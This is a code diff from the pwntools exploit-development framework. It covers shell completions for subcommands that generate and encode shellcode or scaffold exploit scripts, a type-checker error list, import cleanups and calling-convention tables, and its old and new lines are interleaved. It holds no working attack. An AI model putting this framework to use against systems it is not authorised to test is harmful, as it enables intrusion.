'(-c --count)'{-c,--count}'=[Only show this many bytes.]:' \
|
||||
'(-o --offset)'{-o,--offset}'=[Addresses in left hand column starts at this address.]:' \
|
||||
'--color=[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY. Default is "auto".]:--color :(always never auto)' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-w --width)'{-w,--width}'[Number of bytes per line]:WIDTH INT: ' \
|
||||
'(-l --highlight)'{-l,--highlight}'[Byte to highlight]:*^<->:HIGHLIGHTS INT: ' \
|
||||
'(-s --skip)'{-s,--skip}'[Skip this many initial bytes]:SKIP INT: ' \
|
||||
'(-c --count)'{-c,--count}'[Only show this many bytes]:COUNT INT: ' \
|
||||
'(-o --offset)'{-o,--offset}'[Addresses in left hand column starts at this address]:OFFSET INT: ' \
|
||||
'--color[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY; default is auto]:COLOR:(always never auto)' \
|
||||
'1:FILE:_files' \
|
||||
'*: :'
|
||||
;;
|
||||
pwnstrip)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
|
||||
'(-p --patch)'{-p,--patch}'[Patch function]:FUNCTION:->funcs' \
|
||||
'(-o --output)'{-o,--output}'[Output file]:OUTPUT:_files' \
|
||||
'1:FILE:_files' \
|
||||
'*: :'
|
||||
if [[ $state == 'funcs' ]] {
|
||||
_message "FUNCTION"
|
||||
if [[ $#line -ne 0 ]] {
|
||||
filename=$~line[1]
|
||||
} elif [[ -f $~words[-1] ]] {
|
||||
filename=$~words[-1]
|
||||
} else {
|
||||
return
|
||||
}
|
||||
_comp_funcs $filename
|
||||
}
|
||||
;;
|
||||
scramble)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
|
||||
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
|
||||
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-f --format)'{-f,--format}'[Output format (defaults to hex for ttys, otherwise raw)]:FORMAT:(raw hex string elf)' \
|
||||
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
|
||||
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
|
||||
'(-p --alphanumeric)'{-p,--alphanumeric}'[Encode the shellcode with an alphanumeric encoder]' \
|
||||
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
|
||||
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
|
||||
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
|
||||
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
|
||||
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
|
||||
;;
|
||||
shellcraft)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-? --show)'{-?,--show}'[Show shellcode documentation]' \
|
||||
'(-o --out)'{-o,--out}'=[Output file (default: stdout)]:' \
|
||||
'(-f --format)'{-f,--format}'=[Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string]:-f :(r raw s str string c h hex a asm assembly p i hexii e elf d escaped default)' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'(-? --show)'{-\?,--show}'[Show shellcode documentation]' \
|
||||
'(-o --out)'{-o,--out}'[Output file (default: stdout)]:OUTPUT:_files' \
|
||||
'(-f --format)'{-f,--format}'[Output format (default: hex)]:FORMAT:(e r s c h i a p d)' \
|
||||
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
|
||||
'--delim[Set the delimiter between multiple shellcodes]:DELIM: ' \
|
||||
'(-b --before)'{-b,--before}'[Insert a debug trap before the code]' \
|
||||
'(-a --after)'{-a,--after}'[Insert a debug trap after the code]' \
|
||||
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
|
||||
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
|
||||
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
|
||||
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
|
||||
'(-r --run)'{-r,--run}'[Run output]' \
|
||||
'--color[Color output]' \
|
||||
'--no-color[Disable color output]' \
|
||||
'--syscalls[List syscalls]' \
|
||||
'--address=[Load address]:' \
|
||||
'--address[Load address]:ADDRESS: ' \
|
||||
'(-l --list)'{-l,--list}'[List available shellcodes, optionally provide a filter]' \
|
||||
'(-s --shared)'{-s,--shared}'[Generated ELF is a shared library]' \
|
||||
'*:SHELLCODE: '
|
||||
;;
|
||||
template)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'--host=[Remote host / SSH server]:' \
|
||||
'--port=[Remote port / SSH port]:' \
|
||||
'--user=[SSH Username]:' \
|
||||
'(--pass --password)'{--pass,--password}'=[SSH Password]:' \
|
||||
'--path=[Remote path of file on SSH server]:' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'--host[Remote host / SSH server]:HOST:_ssh_hosts ' \
|
||||
'--port[Remote port / SSH port]:PORT: ' \
|
||||
'--user[SSH Username]:USER:_ssh_users' \
|
||||
'(--pass --password)'{--pass,--password}'[SSH Password]:PASSWORD: ' \
|
||||
'--libc[Path to libc binary to use. If not given, the current directory is searched for a libc binary]:LIBC_PATH:_files' \
|
||||
'--path[Remote path of file on SSH server]:PATH:_files' \
|
||||
'--quiet[Less verbose template comments]' \
|
||||
'--color=[Print the output in color]:--color :(never always auto)' \
|
||||
'--color[Print the output in color]:COLOR:(never always auto)' \
|
||||
'--template[Path to a custom template]:TEMPLATE_PATH:_files' \
|
||||
'--no-auto[Do not automatically detect missing binaries]' \
|
||||
'1:EXE:_files' \
|
||||
'*: :'
|
||||
;;
|
||||
unhex)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'*:HEX: '
|
||||
;;
|
||||
update)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'--install[Install the update automatically.]' \
|
||||
'--pre[Check for pre-releases.]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
'--install[Install the update automatically]' \
|
||||
'--pre[Check for pre-releases]' \
|
||||
;;
|
||||
version)
|
||||
_arguments \
|
||||
'(-h --help)'{-h,--help}'[show this help message and exit]' \
|
||||
'(-h --help)'{-h,--help}'[show help message and exit]' \
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
}
|
||||
_pwn
|
||||
_pwn
|
||||
@@ -0,0 +1,70 @@
|
||||
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
|
||||
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
|
||||
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p8ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p8bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p8bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p16lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p16ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p16bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p16bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p32lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p32ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p32bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p32bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p64lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p64ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p64bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p64bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Argument 1 to "get" of "dict" has incompatible type "tuple[Literal[8, 16, 32, 64] | Any, int, Any | None]"; expected "tuple[int, int, int]" [arg-type]
|
||||
pwnlib/util/packing.py:0: error: Name "_u8lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u8ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u8bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u8bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u16lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u16ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u16bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u16bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u32lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u32ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u32bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u32bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u64lu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u64ls" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u64bu" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_u64bs" is not defined [name-defined]
|
||||
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
|
||||
pwnlib/util/fiddling.py:0: error: Incompatible return value type (got "list[_OneT | int | _ZeroT]", expected "list[_ZeroT | _OneT] | list[int]") [return-value]
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "list" matches argument type "tuple[Any, ...]" [operator]
|
||||
pwnlib/util/fiddling.py:0: note: Possible overload variants:
|
||||
pwnlib/util/fiddling.py:0: note: def __add__(self, list[Any], /) -> list[Any]
|
||||
pwnlib/util/fiddling.py:0: note: def [_S] __add__(self, list[_S], /) -> list[_S | Any]
|
||||
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "tuple" matches argument type "list[Any]" [operator]
|
||||
pwnlib/util/fiddling.py:0: note: def __add__(self, tuple[Any, ...], /) -> tuple[Any, ...]
|
||||
pwnlib/util/fiddling.py:0: note: def [_T] __add__(self, tuple[_T, ...], /) -> tuple[Any | _T, ...]
|
||||
pwnlib/util/fiddling.py:0: note: Both left and right operands are unions
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
|
||||
pwnlib/util/sh_string.py:0: error: Argument 1 has incompatible type "*list[str | bytes | bytearray]"; expected "str | bytes" [arg-type]
|
||||
pwnlib/util/proc.py:0: error: "sock" has no attribute "family" [attr-defined]
|
||||
pwnlib/util/proc.py:0: error: "sock" has no attribute "type" [attr-defined]
|
||||
pwnlib/util/proc.py:0: error: Argument 1 to "sock_match" has incompatible type "tuple[str, int]"; expected "addr" [arg-type]
|
||||
pwnlib/util/proc.py:0: error: "None" has no attribute "pid" [attr-defined]
|
||||
pwnlib/util/proc.py:0: error: Item "None" of "Process | None" has no attribute "pid" [union-attr]
|
||||
pwnlib/util/proc.py:0: error: Module has no attribute "WinError" [attr-defined]
|
||||
pwnlib/util/proc.py:0: error: Module has no attribute "get_last_error" [attr-defined]
|
||||
pwnlib/util/proc.py:0: error: Module has no attribute "WinDLL" [attr-defined]
|
||||
pwnlib/elf/elf.py:0: error: Need type annotation for "symbols" (hint: "symbols: dict[<type>, <type>] = ...") [var-annotated]
|
||||
pwnlib/elf/elf.py:0: error: Need type annotation for "got" (hint: "got: dict[<type>, <type>] = ...") [var-annotated]
|
||||
pwnlib/elf/elf.py:0: error: Need type annotation for "plt" (hint: "plt: dict[<type>, <type>] = ...") [var-annotated]
|
||||
pwnlib/elf/elf.py:0: error: Need type annotation for "functions" (hint: "functions: dict[<type>, <type>] = ...") [var-annotated]
|
||||
pwnlib/elf/elf.py:0: error: Name "address" already defined on line 0 [no-redef]
|
||||
pwnlib/encoders/encoder.py:0: error: Need type annotation for "blacklist" (hint: "blacklist: set[<type>] = ...") [var-annotated]
|
||||
pwnlib/rop/call.py:0: error: Need type annotation for "args" (hint: "args: list[<type>] = ...") [var-annotated]
|
||||
+3
-3
@@ -1,13 +1,13 @@
|
||||
# Promote useful stuff to toplevel
|
||||
from __future__ import absolute_import
|
||||
|
||||
from pwn.toplevel import *
|
||||
import pwnlib.update
|
||||
|
||||
pwnlib.args.initialize()
|
||||
pwnlib.log.install_default_handler()
|
||||
pwnlib.config.initialize()
|
||||
|
||||
args = pwnlib.args.args
|
||||
# Replace the module with the actual args object so that `from pwn import args` works as expected.
|
||||
args = pwnlib.args.args # type: ignore[assignment]
|
||||
|
||||
if not platform.architecture()[0].startswith('64'):
|
||||
"""Determines if the current Python interpreter is supported by Pwntools.
|
||||
|
||||
+66
-57
@@ -1,64 +1,79 @@
|
||||
# Get all the modules from pwnlib
|
||||
import collections
|
||||
import logging
|
||||
import math
|
||||
import operator
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import socks
|
||||
import signal
|
||||
import string
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
import collections as collections
|
||||
import logging as logging
|
||||
import math as math
|
||||
import operator as operator
|
||||
import os as os
|
||||
import platform as platform
|
||||
import re as re
|
||||
import socks as socks
|
||||
import signal as signal
|
||||
import string as string
|
||||
import struct as struct
|
||||
import subprocess as subprocess
|
||||
import sys as sys
|
||||
import tempfile as tempfile
|
||||
import threading as threading
|
||||
import time as time
|
||||
|
||||
from pprint import pprint
|
||||
try:
|
||||
import colored_traceback
|
||||
except ImportError:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
colored_traceback.add_hook()
|
||||
except Exception:
|
||||
# Exception: curses.error
|
||||
# colored_traceback (curses.setupterm()) fails if TERM is unset.
|
||||
# This is not critical, so we just ignore it.
|
||||
# We cannot import `curses` for `curses.error` because it is not
|
||||
# available on all platforms (e.g. Windows).
|
||||
pass
|
||||
|
||||
import pwnlib
|
||||
from pprint import pprint as pprint
|
||||
|
||||
import pwnlib as pwnlib
|
||||
from pwnlib import *
|
||||
from pwnlib.asm import *
|
||||
from pwnlib.context import Thread
|
||||
from pwnlib.context import context, LocalContext
|
||||
from pwnlib.dynelf import DynELF
|
||||
from pwnlib.context import Thread as Thread
|
||||
from pwnlib.context import context as context, LocalContext as LocalContext
|
||||
from pwnlib.dynelf import DynELF as DynELF
|
||||
from pwnlib.encoders import *
|
||||
from pwnlib.elf.corefile import Core, Corefile, Coredump
|
||||
from pwnlib.elf.elf import ELF, load
|
||||
from pwnlib.elf.corefile import Core as Core, Corefile as Corefile, Coredump as Coredump
|
||||
from pwnlib.elf.elf import ELF as ELF, load as load
|
||||
from pwnlib.encoders import *
|
||||
from pwnlib.exception import PwnlibException
|
||||
from pwnlib.gdb import attach, debug_assembly, debug_shellcode
|
||||
from pwnlib.exception import PwnlibException as PwnlibException
|
||||
from pwnlib.gdb import attach as attach, debug_assembly as debug_assembly, debug_shellcode as debug_shellcode
|
||||
from pwnlib.filepointer import *
|
||||
from pwnlib.filesystem import *
|
||||
from pwnlib.flag import *
|
||||
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
|
||||
from pwnlib.fmtstr import FmtStr as FmtStr, fmtstr_payload as fmtstr_payload, fmtstr_split as fmtstr_split
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.memleak import MemLeak, RelativeMemLeak
|
||||
from pwnlib.memleak import MemLeak as MemLeak, RelativeMemLeak as RelativeMemLeak
|
||||
from pwnlib.regsort import *
|
||||
from pwnlib.replacements import *
|
||||
from pwnlib.rop import ROP
|
||||
from pwnlib.rop.call import AppendedArgument
|
||||
from pwnlib.rop.srop import SigreturnFrame
|
||||
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
|
||||
from pwnlib.rop import ROP as ROP
|
||||
from pwnlib.rop.call import AppendedArgument as AppendedArgument
|
||||
from pwnlib.rop.srop import SigreturnFrame as SigreturnFrame
|
||||
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload as Ret2dlresolvePayload
|
||||
from pwnlib.runner import *
|
||||
from pwnlib.term.readline import str_input
|
||||
from pwnlib.timeout import Timeout
|
||||
from pwnlib.tubes.listen import listen
|
||||
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
|
||||
from pwnlib.tubes.remote import remote, tcp, udp, connect
|
||||
from pwnlib.tubes.serialtube import serialtube
|
||||
from pwnlib.tubes.server import server
|
||||
from pwnlib.tubes.ssh import ssh
|
||||
from pwnlib.tubes.tube import tube
|
||||
from pwnlib.term.readline import str_input as str_input
|
||||
from pwnlib.timeout import Timeout as Timeout
|
||||
from pwnlib.tubes.listen import listen as listen
|
||||
from pwnlib.tubes.process import process as process, PTY as PTY, PIPE as PIPE, STDOUT as STDOUT
|
||||
from pwnlib.tubes.remote import remote as remote, tcp as tcp, udp as udp, connect as connect
|
||||
from pwnlib.tubes.serialtube import serialtube as serialtube
|
||||
from pwnlib.tubes.server import server as server
|
||||
from pwnlib.tubes.ssh import ssh as ssh
|
||||
from pwnlib.tubes.tube import tube as tube
|
||||
from pwnlib.ui import *
|
||||
from pwnlib.util import crc
|
||||
from pwnlib.util import iters
|
||||
from pwnlib.util import net
|
||||
from pwnlib.util import proc
|
||||
from pwnlib.util import safeeval
|
||||
from pwnlib.util.crc import BitPolynom
|
||||
from pwnlib.util import crc as crc
|
||||
from pwnlib.util import iters as iters
|
||||
from pwnlib.util import net as net
|
||||
from pwnlib.util import proc as proc
|
||||
from pwnlib.util import safeeval as safeeval
|
||||
from pwnlib.util.crc import BitPolynom as BitPolynom
|
||||
from pwnlib.util.cyclic import *
|
||||
from pwnlib.util.fiddling import *
|
||||
from pwnlib.util.getdents import *
|
||||
@@ -66,15 +81,16 @@ from pwnlib.util.hashes import *
|
||||
from pwnlib.util.lists import *
|
||||
from pwnlib.util.misc import *
|
||||
from pwnlib.util.packing import *
|
||||
from pwnlib.util.proc import pidof
|
||||
from pwnlib.util.sh_string import sh_string, sh_prepare, sh_command_with
|
||||
from pwnlib.util.proc import pidof as pidof
|
||||
from pwnlib.util.sh_string import sh_string as sh_string, sh_prepare as sh_prepare, sh_command_with as sh_command_with
|
||||
from pwnlib.util.splash import *
|
||||
from pwnlib.util.web import *
|
||||
from pwnlib.libc import *
|
||||
|
||||
# Promote these modules, so that "from pwn import *" will let you access them
|
||||
|
||||
from six.moves import cPickle as pickle, cStringIO as StringIO
|
||||
from six import BytesIO
|
||||
import pickle as pickle
|
||||
from io import BytesIO as BytesIO, StringIO as StringIO
|
||||
|
||||
log = getLogger("pwnlib.exploit")
|
||||
error = log.error
|
||||
@@ -84,12 +100,5 @@ info = log.info
|
||||
debug = log.debug
|
||||
success = log.success
|
||||
|
||||
try:
|
||||
import colored_traceback
|
||||
except ImportError:
|
||||
pass
|
||||
else:
|
||||
colored_traceback.add_hook()
|
||||
|
||||
# Equivalence with the default behavior of "from import *"
|
||||
# __all__ = [x for x in tuple(globals()) if not x.startswith('_')]
|
||||
+1
-1
@@ -23,7 +23,6 @@ __all__ = [
|
||||
'libcdb',
|
||||
'log',
|
||||
'memleak',
|
||||
'pep237',
|
||||
'regsort',
|
||||
'replacements',
|
||||
'rop',
|
||||
@@ -36,6 +35,7 @@ __all__ = [
|
||||
'util',
|
||||
'update',
|
||||
'version',
|
||||
'windbg',
|
||||
]
|
||||
|
||||
from . import args
|
||||
+23
-14
@@ -1,35 +1,34 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
from pwnlib.context import LocalContext
|
||||
from pwnlib.context import context
|
||||
|
||||
|
||||
class ABI(object):
|
||||
class ABI:
|
||||
"""
|
||||
Encapsulates information about a calling convention.
|
||||
"""
|
||||
#: Register which points to the top of the stack.
|
||||
stack: str
|
||||
|
||||
#: List or registers which should be filled with arguments before
|
||||
#: spilling onto the stack.
|
||||
register_arguments = []
|
||||
register_arguments: list[str]
|
||||
|
||||
#: Minimum alignment of the stack.
|
||||
#: The value used is min(context.bytes, stack_alignment)
|
||||
#: This is necessary as Windows x64 frames must be 32-byte aligned.
|
||||
#: "Alignment" is considered with respect to the last argument on the stack.
|
||||
arg_alignment = 1
|
||||
arg_alignment: int
|
||||
|
||||
#: Minimum number of stack slots used by a function call
|
||||
#: This is necessary as Windows x64 requires using 4 slots on the stack
|
||||
stack_minimum = 0
|
||||
stack_minimum: int
|
||||
|
||||
#: Indicates that this ABI returns to the next address on the slot
|
||||
returns = True
|
||||
returns: bool = True
|
||||
|
||||
def __init__(self, stack, regs, align, minimum):
|
||||
def __init__(self, stack, arg_regs, align, minimum):
|
||||
self.stack = stack
|
||||
self.register_arguments = regs
|
||||
self.register_arguments = arg_regs
|
||||
self.arg_alignment = align
|
||||
self.stack_minimum = minimum
|
||||
|
||||
@@ -50,6 +49,7 @@ class ABI(object):
|
||||
(64, 'powerpc', 'linux'): linux_ppc64,
|
||||
(32, 'riscv32', 'linux'): linux_riscv32,
|
||||
(64, 'riscv64', 'linux'): linux_riscv64,
|
||||
(64, 'loongarch64', 'linux'): linux_loongarch64,
|
||||
(32, 'i386', 'freebsd'): freebsd_i386,
|
||||
(64, 'aarch64', 'freebsd'): freebsd_aarch64,
|
||||
(64, 'amd64', 'freebsd'): freebsd_amd64,
|
||||
@@ -77,18 +77,17 @@ class ABI(object):
|
||||
(32, 'arm', 'linux'): linux_arm_syscall,
|
||||
(32, 'thumb', 'linux'): linux_arm_syscall,
|
||||
(32, 'mips', 'linux'): linux_mips_syscall,
|
||||
(64, 'aarch64', 'linux'): linux_aarch64_syscall,
|
||||
(32, 'powerpc', 'linux'): linux_ppc_syscall,
|
||||
(64, 'powerpc', 'linux'): linux_ppc64_syscall,
|
||||
(32, 'riscv32', 'linux'): linux_riscv32_syscall,
|
||||
(64, 'riscv64', 'linux'): linux_riscv64_syscall,
|
||||
(64, 'loongarch64', 'linux'): linux_loongarch64_syscall,
|
||||
(32, 'i386', 'freebsd'): freebsd_i386_syscall,
|
||||
(64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
|
||||
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
|
||||
(32, 'arm', 'freebsd'): freebsd_arm_syscall,
|
||||
(32, 'thumb', 'freebsd'): freebsd_arm_syscall,
|
||||
(32, 'mips', 'freebsd'): freebsd_mips_syscall,
|
||||
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
|
||||
(32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
|
||||
(64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
|
||||
(64, 'amd64', 'darwin'): darwin_amd64_syscall,
|
||||
@@ -109,6 +108,7 @@ class ABI(object):
|
||||
(64, 'aarch64', 'linux'): linux_aarch64_sigreturn,
|
||||
(32, 'riscv32', 'linux'): linux_riscv32_sigreturn,
|
||||
(64, 'riscv64', 'linux'): linux_riscv64_sigreturn,
|
||||
(64, 'loongarch64', 'linux'): linux_loongarch64_sigreturn,
|
||||
(32, 'i386', 'freebsd'): freebsd_i386_sigreturn,
|
||||
(64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
|
||||
(32, 'arm', 'freebsd'): freebsd_arm_sigreturn,
|
||||
@@ -124,6 +124,10 @@ class SyscallABI(ABI):
|
||||
The syscall ABI treats the syscall number as the zeroth argument,
|
||||
which must be loaded into the specified register.
|
||||
"""
|
||||
|
||||
#: Register which should be loaded with the syscall number.
|
||||
syscall_register: str
|
||||
|
||||
def __init__(self, *a, **kw):
|
||||
super(SyscallABI, self).__init__(*a, **kw)
|
||||
self.syscall_register = self.register_arguments[0]
|
||||
@@ -142,12 +146,13 @@ class SigreturnABI(SyscallABI):
|
||||
linux_i386 = ABI('esp', [], 4, 0)
|
||||
linux_amd64 = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
|
||||
linux_arm = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)
|
||||
linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3'], 16, 0)
|
||||
linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7'], 16, 0)
|
||||
linux_mips = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)
|
||||
linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
|
||||
linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
|
||||
linux_riscv32 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
|
||||
linux_riscv64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
|
||||
linux_loongarch64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
|
||||
|
||||
sysv_i386 = linux_i386
|
||||
sysv_amd64 = linux_amd64
|
||||
@@ -158,6 +163,7 @@ sysv_ppc = linux_ppc
|
||||
sysv_ppc64 = linux_ppc64
|
||||
sysv_riscv32 = linux_riscv32
|
||||
sysv_riscv64 = linux_riscv64
|
||||
sysv_loongarch64 = linux_loongarch64
|
||||
|
||||
# Docs: https://man7.org/linux/man-pages/man2/syscall.2.html
|
||||
linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
|
||||
@@ -169,6 +175,7 @@ linux_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8',
|
||||
linux_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8'], 8, 0)
|
||||
linux_riscv32_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 4, 0)
|
||||
linux_riscv64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 8, 0)
|
||||
linux_loongarch64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6'], 8, 0)
|
||||
|
||||
linux_i386_sigreturn = SigreturnABI('esp', ['eax'], 4, 0)
|
||||
linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 8, 0)
|
||||
@@ -176,6 +183,7 @@ linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
|
||||
linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
|
||||
linux_riscv32_sigreturn = SigreturnABI('sp', ['a7'], 4, 0)
|
||||
linux_riscv64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
|
||||
linux_loongarch64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
|
||||
|
||||
sysv_i386_sigreturn = linux_i386_sigreturn
|
||||
sysv_amd64_sigreturn = linux_amd64_sigreturn
|
||||
@@ -183,6 +191,7 @@ sysv_arm_sigreturn = linux_arm_sigreturn
|
||||
sysv_aarch64_sigreturn = linux_aarch64_sigreturn
